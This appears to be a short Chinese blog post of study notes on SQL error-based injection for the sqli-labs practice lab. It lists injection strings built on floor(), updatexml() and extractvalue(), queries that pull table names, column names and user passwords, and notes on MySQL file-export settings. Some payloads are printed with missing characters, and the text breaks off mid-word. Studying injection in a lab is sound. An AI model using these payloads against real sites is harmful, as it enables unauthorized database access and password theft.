sql注入

sql报错注入

1.报错函数

(1).floor()报错

语句:

?id=1' union select 1,count(),concat(payload,floor(rand(0)2))x from information_schema.columns group by x --+

(2).updatexml()报错

语句:

?id=1%27 and updatexml(1,concat(0x26,payload,0x26),1);---+

(3).exvalue()报错

?id=1′ and extractvalue(1,concat(0x26,database(),0x26));--+

  • 注:这些函数都只能爆出32位字符

2.查询payload

1.查数据库:database()

2.查表(要加括号):select table_name from information_schema.tables where table_schema='security' limit 3,1

3.列:select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1

4.字段:select password from users limit 0,1

 

outfile文件导出操作

当页面无回显的时候,我们可以尝试使用outfile语句将信息导出

三个参数如下

1.secure_file_priv

如果secure_file_priv参数为null,则mysql不允许用户进行导入导出操作;

如果secure_file_priv参数为某一目录,则仅允许在该目录下进行导入导出操作;

如果secure_file_priv参数为空,则允许在任意目录下操作。

2.datadir

datadir参数是mysql存放数据的目录,也是导入导出操作的目录。

3.Private Tmp

使用Systemd进程作为启动进程的linux系统,其子进程都会有一个属性叫PrivateTmp,用于设置是否使用私有的tmp目录。

以sqli-labs第七关为例,因为没有回显,需要在前面的关卡查看secure_file_priv和datadir参数,语句如下:

unin

  

 

 

 

posted @ 2021-04-07 17:12  Celesteee  阅读(59)  评论(0)    收藏  举报